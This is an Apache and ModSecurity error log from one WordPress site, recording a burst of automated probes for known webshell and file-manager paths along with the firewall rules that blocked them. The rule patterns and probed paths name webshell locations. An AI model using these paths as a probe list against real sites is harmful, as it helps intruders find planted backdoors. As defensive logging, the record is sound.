[Sun Nov 23 16:45:09.277830 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sun Nov 23 16:45:09.440942 2025] [:error] [pid 14602:tid 14638] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Sun Nov 23 16:45:09.598322 2025] [:error] [pid 14602:tid 14621] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Nov 23 16:45:09.752446 2025] [:error] [pid 14602:tid 14628] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sun Nov 23 16:45:09.856075 2025] [:error] [pid 14602:tid 14645] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sun Nov 23 16:45:09.978677 2025] [:error] [pid 14602:tid 14644] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Sun Nov 23 16:45:10.157481 2025] [:error] [pid 14602:tid 14629] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sun Nov 23 16:45:10.322678 2025] [:error] [pid 14602:tid 14636] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sun Nov 23 16:45:10.432478 2025] [:error] [pid 14602:tid 14645] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Nov 23 16:45:12.504924 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.78:39779] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSLJmB-I77jdD81pU-mi1QAAAVU"]
[Sun Nov 23 16:45:13.217579 2025] [:error] [pid 38739:tid 38773] [client 140.99.1.44:23671] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSLJmQdvEgJm2n2cDmo0NQAAAEQ"]
[Sun Nov 23 16:45:14.205666 2025] [:error] [pid 38824:tid 38837] [client 140.99.1.16:38685] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun Nov 23 16:45:14.576419 2025] [:error] [pid 38824:tid 38837] [client 140.99.1.16:38685] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSLJmk8WZjXLvbHTHPe-aAAAAMo"]
[Sun Nov 23 16:45:15.079800 2025] [:error] [pid 38824:tid 38831] [client 140.99.1.5:64645] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sun Nov 23 16:45:15.218964 2025] [:error] [pid 38824:tid 38846] [client 140.99.1.5:64645] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSLJm08WZjXLvbHTHPe-eAAAANM"]
[Sun Nov 23 16:45:15.629379 2025] [:error] [pid 44652:tid 44730] [client 140.99.1.52:57531] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sun Nov 23 16:45:16.502236 2025] [:error] [pid 44652:tid 44713] [client 140.99.1.52:57531] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSLJnNiQFwsyXQDhwyC4eQAAAQc"]
[Sun Nov 23 16:45:16.791291 2025] [:error] [pid 16066:tid 16088] [client 140.99.1.30:55059] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSLJnPq-c47Q5mW5E9F14gAAAZM"]
[Sun Nov 23 16:45:17.032004 2025] [:error] [pid 38738:tid 38765] [client 140.99.1.50:55253] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSLJnQytc6TL9XavPmMHbQAAABc"]
[Sun Nov 23 16:45:17.218249 2025] [:error] [pid 16066:tid 16088] [client 140.99.1.18:59513] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSLJnfq-c47Q5mW5E9F17AAAAZM"]
[Sun Nov 23 16:45:17.524745 2025] [:error] [pid 38739:tid 38778] [client 140.99.1.18:44075] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSLJnQdvEgJm2n2cDmo0gwAAAEk"]
[Sun Nov 23 16:45:17.903701 2025] [:error] [pid 38740:tid 38819] [client 140.99.1.53:63303] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSLJnQ13QPZSi6O8umWkVwAAAJc"]
[Sun Nov 23 16:45:18.359033 2025] [:error] [pid 38824:tid 38839] [client 140.99.1.28:53145] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSLJnk8WZjXLvbHTHPe-uAAAAMw"]
[Sun Nov 23 16:45:18.692716 2025] [:error] [pid 14602:tid 14638] [client 140.99.1.73:30647] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Sun Nov 23 16:45:19.018277 2025] [:error] [pid 14602:tid 14635] [client 140.99.1.73:30647] [client 140.99.1.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aSLJnh-I77jdD81pU-mjMQAAAU4"]
[Sun Nov 23 16:45:19.598775 2025] [:error] [pid 38740:tid 38804] [client 140.99.1.70:31663] [client 140.99.1.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSLJnw13QPZSi6O8umWkfgAAAIg"]
[Sun Nov 23 16:45:20.061109 2025] [:error] [pid 38739:tid 38785] [client 140.99.1.68:35171] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSLJoAdvEgJm2n2cDmo0xQAAAFA"]
[Sun Nov 23 16:45:20.347787 2025] [:error] [pid 38739:tid 38777] [client 140.99.1.10:56911] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Sun Nov 23 16:45:20.477398 2025] [:error] [pid 38739:tid 38776] [client 140.99.1.10:56911] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSLJoAdvEgJm2n2cDmo02AAAAEc"]
[Sun Nov 23 16:45:20.709245 2025] [:error] [pid 44652:tid 44720] [client 140.99.1.15:22851] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Sun Nov 23 16:45:21.691050 2025] [:error] [pid 44652:tid 44716] [client 140.99.1.15:22851] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sun Nov 23 16:45:22.640943 2025] [:error] [pid 44652:tid 44707] [client 140.99.1.15:22851] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSLJotiQFwsyXQDhwyC5EQAAAQE"]
[Sun Nov 23 16:45:22.833149 2025] [:error] [pid 44652:tid 44712] [client 140.99.1.44:39911] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Sun Nov 23 16:45:23.032833 2025] [:error] [pid 44652:tid 44711] [client 140.99.1.44:39911] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSLJotiQFwsyXQDhwyC5IgAAAQU"]
[Sun Nov 23 16:45:23.282318 2025] [:error] [pid 14602:tid 14635] [client 140.99.1.13:50333] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sun Nov 23 16:45:23.673982 2025] [:error] [pid 14602:tid 14645] [client 140.99.1.13:50333] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSLJox-I77jdD81pU-mjhQAAAVg"]
[Sun Nov 23 16:45:24.169448 2025] [:error] [pid 38739:tid 38782] [client 140.99.1.8:57699] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSLJpAdvEgJm2n2cDmo1PQAAAE0"]
[Sun Nov 23 16:45:24.645743 2025] [:error] [pid 44652:tid 44711] [client 140.99.1.68:52239] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Sun Nov 23 16:45:24.804222 2025] [:error] [pid 44652:tid 44711] [client 140.99.1.68:52239] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Sun Nov 23 16:45:25.144097 2025] [:error] [pid 44652:tid 44722] [client 140.99.1.68:52239] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSLJpdiQFwsyXQDhwyC5XQAAARA"]
[Sun Nov 23 16:45:25.553995 2025] [:error] [pid 38824:tid 38833] [client 140.99.1.2:31381] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSLJpU8WZjXLvbHTHPe_LAAAAMY"]
[Sun Nov 23 16:45:25.985178 2025] [:error] [pid 38740:tid 38797] [client 140.99.1.70:62635] [client 140.99.1.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSLJpQ13QPZSi6O8umWlTQAAAIE"]
[Sun Nov 23 16:45:26.258858 2025] [:error] [pid 38824:tid 38830] [client 140.99.1.24:49079] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSLJpk8WZjXLvbHTHPe_PAAAAMM"]
[Sun Nov 23 16:45:26.515863 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.20:45649] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSLJph-I77jdD81pU-mjxAAAAVU"]
[Sun Nov 23 16:45:27.147288 2025] [:error] [pid 14602:tid 14631] [client 140.99.1.16:52785] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sun Nov 23 16:45:27.299528 2025] [:error] [pid 14602:tid 14637] [client 140.99.1.16:52785] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSLJpx-I77jdD81pU-mj1QAAAVA"]
[Sun Nov 23 16:45:27.720978 2025] [:error] [pid 38824:tid 38845] [client 140.99.1.32:21401] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSLJp08WZjXLvbHTHPe_YQAAANI"]
[Sun Nov 23 16:45:27.955779 2025] [:error] [pid 38739:tid 38777] [client 140.99.1.47:46379] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSLJpwdvEgJm2n2cDmo1sQAAAEg"]
[Sun Nov 23 16:45:28.566174 2025] [:error] [pid 38824:tid 38849] [client 140.99.1.20:31923] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Sun Nov 23 16:45:28.836016 2025] [:error] [pid 38824:tid 38841] [client 140.99.1.20:31923] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Sun Nov 23 16:45:29.510981 2025] [:error] [pid 38824:tid 38832] [client 140.99.1.20:31923] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSLJqU8WZjXLvbHTHPe_owAAAMU"]
[Sun Nov 23 16:45:30.262827 2025] [:error] [pid 38740:tid 38804] [client 140.99.1.17:33261] [client 140.99.1.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.17, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSLJqg13QPZSi6O8umWlrgAAAIg"]
[Sun Nov 23 16:45:30.466567 2025] [:error] [pid 38740:tid 38820] [client 140.99.1.17:33261] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Sun Nov 23 16:45:31.396764 2025] [:error] [pid 38740:tid 38796] [client 140.99.1.17:33261] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Sun Nov 23 16:45:31.538755 2025] [:error] [pid 38740:tid 38803] [client 140.99.1.17:33261] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sun Nov 23 16:45:32.311112 2025] [:error] [pid 38740:tid 38803] [client 140.99.1.17:33261] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSLJrA13QPZSi6O8umWl4wAAAIc"]
[Sun Nov 23 16:45:32.838985 2025] [:error] [pid 38738:tid 38745] [client 140.99.1.31:53679] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Sun Nov 23 16:45:32.995800 2025] [:error] [pid 38738:tid 38755] [client 140.99.1.31:53679] [client 140.99.1.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.31, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSLJrAytc6TL9XavPmMJHQAAAA0"]
[Sun Nov 23 16:45:33.419808 2025] [:error] [pid 38738:tid 38749] [client 140.99.1.31:53679] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSLJrQytc6TL9XavPmMJKQAAAAc"]
[Sun Nov 23 16:45:34.369448 2025] [:error] [pid 38740:tid 38814] [client 140.99.1.48:24533] [client 140.99.1.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/css/admin.php"] [unique_id "aSLJrg13QPZSi6O8umWmEQAAAJI"]
[Sun Nov 23 16:45:34.707011 2025] [:error] [pid 38739:tid 38789] [client 140.99.1.26:33755] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sun Nov 23 16:45:34.946387 2025] [:error] [pid 38739:tid 38778] [client 140.99.1.26:33755] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Sun Nov 23 16:45:35.264860 2025] [:error] [pid 38739:tid 38789] [client 140.99.1.26:33755] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSLJrwdvEgJm2n2cDmo2awAAAFQ"]
[Sun Nov 23 16:45:36.159762 2025] [:error] [pid 38738:tid 38756] [client 140.99.1.26:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sun Nov 23 16:45:36.685202 2025] [:error] [pid 38738:tid 38754] [client 140.99.1.26:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Sun Nov 23 16:45:37.488849 2025] [:error] [pid 38738:tid 38763] [client 140.99.1.26:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sun Nov 23 16:45:38.046446 2025] [:error] [pid 38738:tid 38758] [client 140.99.1.26:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sun Nov 23 16:45:38.237263 2025] [:error] [pid 38738:tid 38756] [client 140.99.1.26:26113] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSLJsgytc6TL9XavPmMJiwAAAA4"]
[Sun Nov 23 16:45:38.555225 2025] [:error] [pid 14602:tid 14621] [client 140.99.1.67:45219] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Sun Nov 23 16:45:38.745388 2025] [:error] [pid 14602:tid 14633] [client 140.99.1.67:45219] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Sun Nov 23 16:45:38.855243 2025] [:error] [pid 14602:tid 14633] [client 140.99.1.67:45219] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSLJsh-I77jdD81pU-mkugAAAUw"]
[Sun Nov 23 16:45:39.362351 2025] [:error] [pid 16066:tid 16089] [client 140.99.1.78:23649] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Sun Nov 23 16:45:39.850950 2025] [:error] [pid 16066:tid 16086] [client 140.99.1.78:23649] [client 140.99.1.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.78, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSLJs_q-c47Q5mW5E9F4KQAAAZE"]
[Sun Nov 23 16:45:40.133297 2025] [:error] [pid 16066:tid 16093] [client 140.99.1.78:23649] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSLJtPq-c47Q5mW5E9F4NQAAAZg"]
[Sun Nov 23 16:45:52.325010 2025] [:error] [pid 38740:tid 38802] [client 140.99.1.38:40555] [client 140.99.1.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/2023/11/"] [unique_id "aSLJwA13QPZSi6O8umWnhAAAAIY"]
[Sun Nov 23 16:45:54.018365 2025] [:error] [pid 44652:tid 44709] [client 140.99.1.70:57707] [client 140.99.1.70] ModSecurity: collection_store: Failed to access DBM file "/tmp/ip": Resource deadlock avoided [hostname "www.windfarmcoolants.com.au"] [uri "/index.html"] [unique_id "aSLJwdiQFwsyXQDhwyC7QwAAAQM"]
